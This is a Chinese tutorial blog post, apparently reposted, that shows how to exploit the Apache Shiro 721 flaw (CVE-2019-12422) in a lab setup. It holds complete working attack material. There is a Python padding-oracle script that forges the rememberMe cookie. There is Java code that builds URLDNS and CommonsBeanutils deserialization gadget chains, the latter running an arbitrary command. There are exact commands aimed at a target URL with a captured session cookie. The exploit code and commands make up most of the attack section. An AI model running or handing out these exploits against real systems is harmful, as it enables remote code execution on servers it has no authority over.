shiro721——CVE-2019-12422

news2024/11/26 4:42:10

这两个漏洞主要区别在于Shiro550使⽤已知密钥碰撞,后者Shiro721是使⽤ 登录后rememberMe= {value}去爆破正确的key值 进⽽反序列化,对⽐Shiro550条件只要有 ⾜够密钥库 (条件⽐较低)、Shiro721需要登录(要求⽐较⾼鸡肋 )。Apache Shiro < 1.4.2 默认使⽤ AES/CBC/PKCS5Padding 模式

1.漏洞详细

shiro721⽤到的加密⽅式是AES-CBC,⽽且其中的ase加密的key基本猜不到了,是系统随机⽣成的。⽽cookie解析过程跟cookie的解析过程⼀样,也就意味着如果能伪造恶意的rememberMe字段的值且⽬标含有可利⽤的攻击链的话,还是能够进⾏RCE的。
通过Padding Oracle Attack攻击可以实现破解AES-CBC加密过程进⽽实现rememberMe的内容伪造。

2.漏洞测试

⼀次成功的Shiro Padding Oracle需要⼀直向服务器不断发包,判断服务器返回,攻击时间通常需要⼏个⼩时。由于此漏洞利⽤起来耗时时间特别⻓,很容易被waf封禁,因此在真实的红队项⽬中,极少有此漏洞的攻击成功案例
这⾥测试的时候cb这条利⽤链 如果在⽬标上最好测试urldns链。。
漏洞环境:
在这里插入图片描述

Urldns链

我们先用urldns链来测试漏洞是否存在
Urldns.java:

package shiroTest;

import java.io.File;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class Urldns {
    public static void main(String[] args) throws Exception {
                /*
        利用链:
            ObjectInputStream#readObject() -> HashMap.readObject(ObjectInputStream in)
            HashMap -> hash()
            URL -> hashCode()
            URLStreamHandler -> hashCode()
            URLStreamHandler -> getHostAddress()
            URL -> getHostAddress()
            InetAddress -> getByName()
         */
        HashMap hashMap = new HashMap();
        URL url = new URL("http://zx5db7.dnslog.cn");

        /*
        URL:
            private int hashCode = -1;

            public synchronized int hashCode() {
                if (hashCode != -1)
                    return hashCode;
                hashCode = handler.hashCode(this);
                return hashCode;
            }

        HashMap.put()和本利用链都会执行至URL.hashCode()
        */
        Field hashCodeField = url.getClass().getDeclaredField("hashCode");
        hashCodeField.setAccessible(true);

        // 阻止创建payload时触发请求
        hashCodeField.set(url, 0);
        hashMap.put(url, null);
        // 使利用链执行时能够触发请求
        hashCodeField.set(url, -1);

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(new File("ser.bin")));
        oos.writeObject(hashMap);
        oos.close();
    }
}

在这里插入图片描述

我们利用Urldns代码进行运行,得到ser.bin
然后我们用脚本工具来攻击

python2 shiro_exp.py http://192.168.0.165:8081/samples_web_war/ 4H3erAR79b/6xCWMc6frkHaVXAMfAh4avZrC0NgaiKXopofAml4TmzHXmV+H4s33OLCnx5Qf1FDPEtedyv5DRR/P3fUZni3sTdf/kXy3KzlkOFdk9y6PlDAV0T38Yog8E0gG3w5+ByakoAlbU1RHgIDQYTDJDc3hXntzBAHp8czlfVlHG527vWGQKXLPszLv4bcaru1ZTOhPexuyPuz7iDZRVDBF4H+Hd7IpaQE0RYGjJrg7VDWeTHE+aE3Ana+5yt98Hk2d6j4E0rVQLQgxI/0Xyp5CXwwkKOyyYpbh+wjOOlcZGIapr4MFI1QuKgI7hhUWOIuvQjp/MsM3RYWNjpamnX2FYLQ9wFPcHB1rQK1BDyOSoFiO6khvnIEZAChRFVSchP/gSHblHy4Vgz2hmCNnb+GvPqI8lLr6cprGKKhntO3Z2FWMoe2DjAMnO49euDIErGI1aZMVL3aUQom1Q2fZWu0lV1xXy+p47QS+WzSlDpVZvcjn1TgMq8W164/p ser.bin
# -*- coding: utf-8 -*-
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
from urllib import quote, unquote
import requests
import socket
import time


class PadBuster(PaddingOracle):
    def __init__(self, **kwargs):
        super(PadBuster, self).__init__(**kwargs)
        self.session = requests.Session()
        # self.session.cookies['JSESSIONID'] = '18fa0f91-625b-4d8b-87db-65cdeff153d0'
        self.wait = kwargs.get('wait', 2.0)

    def oracle(self, data, **kwargs):
        somecookie = b64encode(b64decode(unquote(sys.argv[2])) + data)
        self.session.cookies['rememberMe'] = somecookie
        if self.session.cookies.get('JSESSIONID'):
            del self.session.cookies['JSESSIONID']

        # logging.debug(self.session.cookies)

        while 1:
            try:
                response = self.session.get(sys.argv[1],
                        stream=False, timeout=5, verify=False)
                break
            except (socket.error, requests.exceptions.RequestException):
                logging.exception('Retrying request in %.2f seconds...',
                                  self.wait)
                time.sleep(self.wait)
                continue

        self.history.append(response)

        # logging.debug(response.headers)

        if response.headers.get('Set-Cookie') is None or 'deleteMe' not in response.headers.get('Set-Cookie'):
            logging.debug('No padding exception raised on %r', somecookie)
            return

        # logging.debug("Padding exception")
        raise BadPaddingException


if __name__ == '__main__':
    import logging
    import sys

    if not sys.argv[3:]:
        print 'Usage: %s <url> <somecookie value> <payload>' % (sys.argv[0], )
        sys.exit(1)

    logging.basicConfig(level=logging.DEBUG)
    encrypted_cookie = b64decode(unquote(sys.argv[2]))

    padbuster = PadBuster()

    payload = open(sys.argv[3], 'rb').read()

    enc = padbuster.encrypt(plaintext=payload, block_size=16)

    # cookie = padbuster.decrypt(encrypted_cookie, block_size=8, iv=bytearray(8))

    # print('Decrypted somecookie: %s => %r' % (sys.argv[1], enc))
    print('rememberMe cookies:')
    print(b64encode(enc))

在这里插入图片描述
开始爆破
在这里插入图片描述
可以看到成功生成cookie
上面命令中的cookie值从以下取得
在这里插入图片描述
注意这里必须登录成功才能利用成功,后台的所有的cookie值都一样

cb链

我们再使用cb链来爆破
cb.java:

package shiroTest;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class cb {

    // 修改值的方法,简化代码

    public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{

        Field field = object.getClass().getDeclaredField(fieldName);

        field.setAccessible(true);

        field.set(object, value);

    }

    public static void main(String[] args) throws Exception {

        // 创建恶意类,用于报错抛出调用链

        ClassPool pool = ClassPool.getDefault();

        CtClass payload = pool.makeClass("EvilClass");

        payload.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));

        payload.makeClassInitializer().setBody("new java.io.IOException().printStackTrace();");

        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");

        byte[] evilClass = payload.toBytecode();

        TemplatesImpl templates = new TemplatesImpl();

        setFieldValue(templates, "_bytecodes", new byte[][]{evilClass});

        setFieldValue(templates, "_name", "test");

        setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());

        BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);

        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);

        queue.add("1");

        queue.add("1");

        setFieldValue(beanComparator, "property", "outputProperties");

        setFieldValue(queue, "queue", new Object[]{templates, templates});

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));

        out.writeObject(queue);

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.bin"));

        in.readObject();

    }

}

在这里插入图片描述
可以看到cb链是运行弹出计算器,且生成了ser.bin文件,我们将该文件名字改为calc.bin文件
在这里插入图片描述
cookie值不变,还是成功登录的cookie,继续开始cb链爆破

等待即可
也可以使用PaddingOracleAttack-1.0-SNAPSHOT.jar工具,但是感觉比较慢,没有前面介绍的工具好用,一般用前面的即可
PaddingOracleAttack-1.0-SNAPSHOT.jar使用方式:

java -jar PaddingOracleAttack-1.0-SNAPSHOT.jar http://192.168.0.165:8081/samples_web_war/ 4H3erAR79b/6xCWMc6frkHaVXAMfAh4avZrC0NgaiKXopofAml4TmzHXmV+H4s33OLCnx5Qf1FDPEtedyv5DRR/P3fUZni3sTdf/kXy3KzlkOFdk9y6PlDAV0T38Yog8E0gG3w5+ByakoAlbU1RHgIDQYTDJDc3hXntzBAHp8czlfVlHG527vWGQKXLPszLv4bcaru1ZTOhPexuyPuz7iDZRVDBF4H+Hd7IpaQE0RYGjJrg7VDWeTHE+aE3Ana+5yt98Hk2d6j4E0rVQLQgxI/0Xyp5CXwwkKOyyYpbh+wjOOlcZGIapr4MFI1QuKgI7hhUWOIuvQjp/MsM3RYWNjpamnX2FYLQ9wFPcHB1rQK1BDyOSoFiO6khvnIEZAChRFVSchP/gSHblHy4Vgz2hmCNnb+GvPqI8lLr6cprGKKhntO3Z2FWMoe2DjAMnO49euDIErGI1aZMVL3aUQom1Q2fZWu0lV1xXy+p47QS+WzSlDpVZvcjn1TgMq8W164/p 16 calc.bin

爆破出来之后,替换rememberMe即可,替换时候,要将JSESSIONID删除掉
第一个urldns链:
在这里插入图片描述
在这里插入图片描述

dnslog没有成功,但方法正确

第二个cb链:

在这里插入图片描述
放到bp中运行即可弹出计算器

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/336467.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Unity基于GraphView的行为树编辑器

这里写自定义目录标题概述基于GitHub上&#xff1a;目前这只是做了一些比较基础的功能节点开发&#xff0c;仅仅用于学习交流&#xff0c;非完成品。项目GitHub连接&#xff1a;[https://github.com/HengyuanLee/BehaviorTreeExamples](https://github.com/HengyuanLee/Behavio…

GNSS 精密钟差产品介绍与DCB改正详解

文章目录前言参考前言 IGS 提供的 GNSS 轨道产品和钟差产品的解算基准并非完全一样, 对于精密产品&#xff0c;各 GNSS 系统的参考基准均为双频无电离层组合&#xff1b;对于广播星历&#xff0c;则区分 GPS 类卫星(GPS,Galileo,QZSS) 基于双频无电离组合的伪距以及 BDS 卫星系…

CAPL(vTESTStudio) - DoIP - TCP发送_05

TCP发送 参数定义 版本号:02 FD or 01 FE or 其他任意值数据类型:00 05 or 00 06 or 80 01 or其他任意值数据长度:想要发送的任意长度

Node.js http 模块详解:request 对象

前言 前文介绍了 http 模块的基本用法&#xff0c;主要就是调用 createServer 和 listen 方法来创建和启动服务。要处理具体的 HTTP 请求&#xff0c;就要在 createServer 方法中写点什么。本文来介绍处理请求的两个核心对象之一的 request 。 URL HTTP 协议最早设计出来&am…

车载TBOX嵌入式设备软件的性能测试

作者 | 李伟 上海控安安全测评中心安全测评部总监 来源 | 鉴源实验室 01 ECU软件和通用软件性能测试的区别 通用软件进行性能测试时通常会通过压力测试、负载测试、稳定性测试、疲劳强度测试、用户并发访问测试等等方法来了解当前软件系统的各项性能指标数据&#xff0c;并在…

【mybatis】实现分页查询

一 .使用原生分页器的实体类 1.1 java代码部分 方法多 不易书写 package cn.bdqn.entity;public class Page {private Integer pageIndex;//页码private Integer pageSize;//页大小 显示多少行数据private Integer totalCounts;//数据的总行数private Integer totalPages;//…

docker安装部署dragonfly2镜像加速服务

Dragonfly安装部署文档 ​ Dragonfly 作为龙蜥社区的镜像加速标准解决方案&#xff0c;是一款基于 P2P 的智能镜像和文件分发工具。它旨在提高大规模文件传输的效率和速率&#xff0c;最大限度地利用网络带宽。在应用分发、缓存分发、日志分发和镜像分发等领域被大规模使用。 …

鸟哥的Linux私房菜读书笔记:Linux磁盘与文件系统管理

系统管理员很重要的任务之一就是管理好自己的磁盘文件系统&#xff0c; 每个分区不可太大也不能太小&#xff0c; 太大会造成磁盘容量的浪费&#xff0c; 太小则会产生文件无法储存的困扰。 前面谈到的文件权限与属性中&#xff0c; 这些权限与属性分别记录在文件系统的哪个区块…

[Golang实战]如何快速接入chatgpt/openai?[引入go-gpt3][新手开箱可用]

如何快速接入chatgpt?[引入go-gpt3]上文介绍了如何在网页使用chatgpt?V1.介绍下在golang中使用chatgpt?1.查看官网推荐的chatgpt项目2.访问go-gpt33.使用并运行在自己的项目中...(是因为例子很难理解,所以一一对应了属性做了配置)3.1安装项目3.2换上自己的代码3.3换上自己的…

LeetCode - 1109 - 航班预定统计

目录 题目来源 题目描述 示例 提示 题目解析 算法源码 题目来源 1109. 航班预订统计 - 力扣&#xff08;LeetCode&#xff09; 题目描述 这里有 n 个航班&#xff0c;它们分别从 1 到 n 进行编号。 有一份航班预订表 bookings &#xff0c;表中第 i 条预订记录 bookin…

【C语言】BCD码、十进制互相转换

目录 0. 前言&#xff1a; 1. BCD码 2. 算法原理 3. 进制转换 3.1 两位BCD码的转换&#xff1a; 3.2 其他进制转换 3.3 任意进制转二进制 参考资料&#xff1a; 0. 前言&#xff1a; 记录今天用15单片机写DS1302时钟芯片程序的时候遇到的问题 时间显示是这个样的 0 1…

电源浪涌保护器的演化发展与未来创新方向

随着科学信息技术和城市经济的发展&#xff0c;感应雷、电磁脉冲和雷电波浸入所造成的危害大大增加。一般建筑物的外部防雷措施只能预防直击雷&#xff0c;而强大的电磁场产生的感应雷和脉冲电压却能潜入室内危及电路上的设备。如今通讯网络、电脑仪器和各类用电设备越来越精密…

2023VR视频加密解决方案

如今VR技术在各个领域中的使用&#xff0c;使得我们在日常生活中也可以看到它的身影&#xff0c;常见的就是应用到培训、影院和游戏当中&#xff0c;我们都知道VR视频比传统的平面视频能给用户带来更好的体验&#xff0c;而且现在在教育、娱乐等领域VR类视频也越来越多。相比于…

运动基元(二):贝塞尔曲线

贝塞尔曲线是我第一个深入接触并使用于路径规划的运动基元。N阶贝塞尔曲线具有很多优良的特性,例如端点性、N阶可导性、对称性、曲率连续性、凸包性、几何不变性、仿射不变性以及变差缩减性。本章主要介绍贝塞尔曲线用于运动基元时几个特别有用的特性。 一、贝塞尔曲线的定义 …

C++复习笔记4

编译器给一个类默认生成的六个成员函数&#xff1a; 构造函数、析构函数、拷贝构造函数、赋值运算符重载、对象取地址运算符以及常对象取地址运算符。其中析构函数不能重载&#xff0c;默认的拷贝和赋值两个函数存在浅拷贝的问题。 对象取地址运算符重载和常对象取地址运算符…

KD03丨选品种-横截面动量

大家好&#xff0c;今天我们分享可达鸭系列第3篇策略——横截面动量。 想必这种逻辑大家也都熟悉&#xff0c;为了照顾大部分新人朋友&#xff0c;开始还是简单介绍一下该该逻辑理论。 横截面是一种非时序动量逻辑&#xff0c;从统计学感性描述&#xff08;非严谨客观描述&am…

windows安装PaddleSpeech(无需visual studio)

前言 首先啊&#xff0c;狠狠的批评一下paddle&#xff0c;不想看请直接跳到用法&#xff0c;另外我python版本是3.9&#xff0c;所以包找的也都是3.9。 1.分成许多子项目涵盖AI的不同领域&#xff0c;初心是好&#xff0c;安装起来得安装多个环境。 2.官方文档推荐linux安装&…

anaconda详细介绍、安装及使用(python)

anaconda详细介绍、安装及使用1 介绍1.1 简介1.2 特点1.3 版本下载2 Anaconda管理Python包命令3 安装3.1 windows安装4 操作4.1 Conda 操作4.2 Anaconda Navigator 操作4.3 Spyder 操作4.4 Jupyter Notebook 操作5 示例参考1 介绍 1.1 简介 Anaconda是用于科学计算&#xff08…

力扣sql简单篇练习(十四)

力扣sql简单篇练习(十四) 1 银行账户概要|| 1.1 题目内容 1.1.1 基本题目信息 1.1.2 示例输入输出 1.2 示例sql语句 # 高于相当于大于的意思 SELECT u.name,t.balance FROM Users u INNER JOIN (SELECT account,sum(amount) balanceFROM TransactionsGROUP BY accountHAVIN…

Kafka入门(四)

下面尝试一下Kafka 的生产者客户端和消费者客户端的实现。 1、客户端简介 生产者就是负责向Kafka发送消息的应用程序&#xff0c;消费者就是拉取Kafka消息的应用程序。 在Kafka的历史版本中&#xff0c;主要的客户端如下&#xff1a; 基于Scala语言编写的客户端&#xff0c;称…